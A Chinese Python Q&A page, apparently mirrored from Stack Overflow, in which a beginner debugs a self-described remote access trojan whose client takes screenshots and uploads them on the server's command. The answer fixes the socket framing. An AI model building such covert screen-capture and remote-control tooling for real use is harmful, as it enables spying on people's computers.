TCP套接字程序多次执行相同的功能

2024-05-16 09:32:35 发布

您现在位置:Python中文网/ 问答频道 /正文

我的“胡言乱语”: 所以,在我开始之前,我需要你知道我对Python还比较陌生。我很抱歉,如果问题不是我认为这是与我的糟糕编程。 所以,我做了一个简单的老鼠一样的程序谁的功能和东西,我将投入到另一个项目,我正在工作。你知道吗

问题:

我有一个服务器程序:

import sys
import time
import os
import base64
from PIL import ImageGrab
import socket
from subprocess import call
import random
import string

"""==========================================================="""
"""-=-=-=-=-=-=-=-=Making all functions needed=-=-=-=-=-=-=-=-"""
"""==========================================================="""

"""-----------The SEND function----------"""
def send_msg(m):                           #
    clientsocket.send(m.encode("UTF-8"))   #
"""--------------------------------------"""

"""-------------Generates a random word / String-----------------"""
def randomword(length):                                            #
   letters = string.ascii_lowercase                                #
   return ''.join(random.choice(letters) for i in range(length))   #
"""--------------------------------------------------------------"""

"""---------------------------------------"""
def from_client():                          #
    from_c = clientsocket.recv(4096)        #
    from_client = from_c.decode("UTF-8")    #
    return from_client                      #
"""---------------------------------------"""

"""--------------------Recieve the Image----------------------"""
def recv_png():                                                 #
    ss_name = randomword(2) + "frms.png"                        #
    with open(ss_name, 'wb') as file_to_write:                  #
        while True:                                             #
            #data = clientsocket.recv(4096)                     #
            #if not data:                                       #
            #    break                                          #
            decoded_f = base64.b64decode(from_client())         #
            file_to_write.write(decoded_f)                      #
            file_to_write.close()                               #
            break                                               #
"""-----------------------------------------------------------"""

"""==========================================================="""
"""-=-=-=-=-=-=-=-=Establishing a Connection=-=-=-=-=-=-=-=-=-"""
"""==========================================================="""
#Declaring Variables:
serversocket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)   
#ServerSocket Variable
HOST = socket.gethostname()                                        #HOST 
Variable
PORT = 1732                                                        #PORT 
Variable
#Connections:
serversocket.bind((HOST, PORT))
serversocket.listen(1)
print("+=+=+=+=+=+=++=+=+=+=+=+=+Ze' No0B RAT+=+=+=+=+=+=++=+=+=+=+=+=+")
clientsocket, addr = serversocket.accept()
print("Connected to: " + str(addr))
msg = input("What can I do for you?\n")
while True:
    if msg == "screeny":
        send_msg(msg)
        recv_png()
        msg = input("What can I do for you?\n")

注意:代码仍然不完整,只是试用了screeny方法

然后是客户端程序:

import sys
import time
import os
import base64
from PIL import ImageGrab
import socket
from subprocess import call
import random
import string

"""=============================================================="""
"""-=-=-=-=-=-=-=-=-=-Making all functions needed-=-=-=--=-=-=-=-"""
"""=============================================================="""

"""------Clears the Screen-------"""
def clear():                       #
    if os.name=="nt":              #
        try:                       #
            call(["cls"])          #
        except:                    #
            try:                   #
                os.system("cls")   #
            except:                #
                pass               #
    else:                          #
        try:                       #
            call(["clear"])        #
        except:                    #
            try:                   #
                os.system("clear") #
            except:                #
                pass               #
"""------------------------------"""

"""-------------Generates a random word / String-----------------"""
def randomword(length):                                            #
   letters = string.ascii_lowercase                                #
   return ''.join(random.choice(letters) for i in range(length))   #
"""--------------------------------------------------------------"""

"""---------------------------------------------------------------"""
def connect():                                                      #
    while True:                                                     #
        try:                                                        #
            s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)   #
            s.connect((host, port))                                 #
            return s.makefile('w')                                  #
        except socket.error as e:                                   #
            log("socket error {} reconnecting".format(e))           #
            time.sleep(5)                                           #
"""---------------------------------------------------------------"""

"""-----The SEND function-----"""
def send_msg(m):                #
    s.send(m.encode("UTF-8"))   #
"""---------------------------"""

"""-----------Take a screenshot-----------------"""
def screeny():                                    #
    ss = ImageGrab.grab()                         #
    ss_name = (randomword(4) + "frmc.png")        #
    ss.save(ss_name)                              #
                                                  #
    upload_file(ss_name)                          #
    send_msg("Done.")                             #
"""---------------------------------------------"""

"""---------------------Upload a File---------------------"""
def upload_file(file):                                      #
    with open(file, 'rb') as file_to_send:                  #
        cryptedFile = base64.b64encode(file_to_send.read()) #
        send = s.send(cryptedFile)                          #
        file_to_send.close()                                #
        return send                                         #
"""-------------------------------------------------------"""




"""===================================================================="""
"""-=-=-=-=-=-=-=--=-=-=-=-=Making a connection=-==-=-=--=-=-=-=-=---=-"""
"""===================================================================="""

#Declaring Variables
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)   #The Socket Variable
HOST = socket.gethostname()                             #The HOST Variable
PORT = 1732                                             #The PORT Variable
Connected = False
while Connected == False:                               #While not connected
    try:                                                #Try to:
        s.connect((HOST, PORT))                         #Connect
        Connected = True                                #Change Connect Status
    except:                                             #If failed or Error:
        time.sleep(10)                                  #Wait for 10
if Connected == True:                                   #If Connected:
    print("Successfully Connected.")                    #Tell the Client


"""==================+================================================"""
"""-=-=-==-=-=-=-=-=-=-=Do what the Server says=-=-=-=-=-=-=-==-=-=-=-"""
"""==================================================================="""
#Declaring Variables
serv_recv = s.recv(4096)                        #Recieve from Server
serv_said = serv_recv.decode("UTF-8")           #Decode what Server said
#The " if's ":
while serv_said != "quit":
    if serv_said == "screeny":                      #If server said "screeny"
        screeny()                                   #Then Execute the "Screeny" function

    elif serv_said == "clear":                      #Or if Server said "clear"
        clear()                                     #Then execute the "clear" function

还有,不完整 事情是这样的。当我运行这两个代码并将“screeny”从服务器发送到客户机时,客户机会返回“Done.”到服务器,并再次询问我想要什么。但是,客户需要多个截图,只发送一个。它发送的一个截图是不完整的。好像很奇怪,我无法解释。 我真的非常感谢你们的帮助。请告诉我我做错了什么。我还在学习。你知道吗


Tags: tofromimportsendifdefmsgsocket
1条回答
网友
1楼 · 发布于 2024-05-16 09:32:35

服务器端:from_client()只从套接字读取4096字节,而recv_png()只调用from_client()一次,因此您只能接收base64编码图像的前4k。你知道吗

客户端:while serv_said != "quit"循环从不接收来自服务器的另一个命令。事实上,serv_said在这个循环中从不改变。。。你知道吗

不过,你真正的问题要严重得多。您正在尝试实现protocol,为此,在许多其他事情中,您需要规则来确定哪一方完成了交谈,在您的特定情况下,图像传输何时完成。最简单的方法可能是让发送者提前宣布消息的大小:

def send_file(filename):
    with open(filename) as f:
        content = base64.b64encode(f.read())
    content_size = len(content)
    s.send("{:9}".format(content_size))  # send size header
    s.send(content)

def recv_file(filename):
    content_size = int(s.recv(9))  # recv size header
    content = ""
    while len(content) < content_size:
        block = s.recv(4096)
        content += block
    with open(filename, "w") as f:
       f.write(base64.b64decode(content))
       # note: no close - that's done automatically by leaving the "with" block

(Side node:为了提高可读性(和readability counts),去掉函数周围的ASCII艺术框架,下面的PEP8被证明非常有用。我建议每位Python学习者仔细阅读PEP8,并经常反思它。它确实可以帮助您理解自己的代码。对于我自己的代码,我甚至有black为我强制PEP8。)

相关问题 更多 >